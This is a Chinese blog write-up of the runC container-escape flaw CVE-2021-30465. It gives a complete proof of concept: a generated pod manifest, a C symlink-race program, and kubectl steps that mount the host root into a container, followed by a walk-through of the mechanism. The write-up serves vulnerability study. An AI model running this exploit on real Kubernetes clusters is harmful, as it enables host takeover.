CVE-2021-30465


Open Containers社区披露了runC相关的漏洞,攻击者通过创建恶意Pod,利用符号链接以及条件竞争漏洞将宿主机目录挂载至容器中,最终可能导致容器逃逸问题。

漏洞描述

对于K8s集群,攻击者将目标挂载路径设置为一个容器Volume在主机上的根目录的软链接(比如,emptyDir卷对应的软链接路径为/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir),以此来获取主机上的挂载点。由于挂载的源路径是攻击者可以控制的目录,攻击者可以将源路径中的子目录软链接到主机根目录上,并通过条件竞争TOCTTOU(Time Of Check To Time Of Use)的特定手段在一定条件让恶意容器中的指定目录挂载到主机的根目录。
CVE-2021-30465漏洞为高危漏洞,CVSS漏洞评分为7.6。更多信息,请参见官方公告


对原有的运行容器有影响吗

  • runc只负责挂载rootfs跟所有容器磁盘(hostpath、empty-dir)
  • 原有的容器目录下没有出现逃逸的情况下,原有mount点未出现逃逸情况,原有容器不需要进行重启

poc复现

创建poc复现容器

kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
    name: attack
spec:
    terminationGracePeriodSeconds: 1
    containers:
    - name: c1
      image: library/ubuntu:latest
      command: ["/bin/sleep", "inf"]
      env:
      - name: MY_POD_UID
        valueFrom:
         fieldRef:
              fieldPath: metadata.uid
      volumeMounts:
      - name: test1
        mountPath: /test1
      - name: test2
        mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
    - name: c$c
      image: k8s-deploy/busybox:none
      command: ["/bin/sleep", "inf"]
      volumeMounts:
      - name: test1
        mountPath: /test1
$(for m in {1..4}; do
cat <<EOM
      - name: test2
        mountPath: /test1/mnt$m
EOM
done
)
      - name: test2
        mountPath: /test1/zzz
EOC
done
)
    tolerations:
    - operator: Exists
    volumes:
    - name: test1
      emptyDir:
        medium: "Memory"
    - name: test2
      emptyDir:
        medium: "Memory"
EOF

目的是创建emptDir挂载到容器,做poc复现场景容器部署。

containers2-20不需要启动,或者说是比containers1启动延迟,所以这里设置containers2-20为不存在的镜像



创建软链小程序

cat > race.c <<'EOF'
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    char *name1 = argv[1];
    char *name2 = argv[2];
    char *linkdest = argv[3];

    int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
    if (dirfd < 0) {
        perror("Error open CWD");
        exit(EXIT_FAILURE);
    }

    if (mkdir(name1, 0755) < 0) {
        perror("mkdir failed");
        //do not exit
    }
    if (symlink(linkdest, name2) < 0) {
        perror("symlink failed");
        //do not exit
    }

    while (1)
    {
        renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
    }
}
EOF

目的是执行renameat2(dir,symlink,RENAME_EXCHANGE)
生成二进制
gcc race.c -O3 -o race


等container1启动上传二进制

sleep 30 # wait for the first container to start
kubectl cp race -c c1 attack:/test1/
kubectl exec -ti pod/attack -c c1 -- bash

创建符号链接(软链)

ln -s / /test2/test2

软链跟目录到/test2/test2

运行二进制使用TOCTOU

cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

启动container2-20容器

for c in {2..20}; do
  kubectl set image pod attack c$c=library/ubuntu:newlatest
done

更新镜像让containers启动

查看是否逃逸

for c in {2..20}; do
  echo ~~ Container c$c ~~
  kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

在这里插入图片描述


CVE原理

软链程序作用

./race mnt1 mnt-tmp1 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
./race mnt2 mnt-tmp2 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
./race mnt3 mnt-tmp3 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
./race mnt4 mnt-tmp4 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
    if (mkdir(name1, 0755) < 0) {
        perror("mkdir failed");
        //do not exit
    }
    //创建mnt1/mnt2/mnt3/mnt4
    if (symlink(linkdest, name2) < 0) {
        perror("symlink failed");
        //do not exit
    }
	//创建软链 将mnt-tmp1/mnt-tmp2/mnt-tmp3/mnt-tmp4软链到/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
    while (1)
    {
        renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
        //重命名
    }
}

在这里插入图片描述

创建符号链接的作用

ln -s / /test2/test2

test2目录为emptyDir,挂载主机目录为/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2所以是将 容器根目录(/)挂载到主机 /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 容器内对应是/ 挂载到 /test2/test2


逃逸容器是如何逃逸的

  • 咱们创建了20个container,其中19个还未启动,当我们替换镜像的时候,其余19个container重新启动,这时候因为这些容器/t3st1/zzz目录下挂载的是/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
  • 但是容器/test1/mnt1还挂载的/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
  • 软链程序将/test1/mntx的软链到/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2

看起来像如下链接

/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt1
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp1 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt2 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp2
...
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /

经过程序频繁交换mnt{}和mnt-tmp{}

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/mntX) 

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)

# rootfs 绑定

这时候mnt{}目录是符号链接,操作系统mount的携带的也是符号链接
这个绑定成为如下

/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /

挂载的时候

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

最终

mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)
  1. containerd准备所有挂载卷在/var/lib/kubelet/pods/%uuid/volumes/$volume-type/name
  2. containerd准备rootfs

/run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs

  1. runc负责mount绑定K8S卷
    • runc调用securejoin.SecureJoin()以解析目的地/目标地址
    • 调用mount()

Runc代码详解修复过程

待解读。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值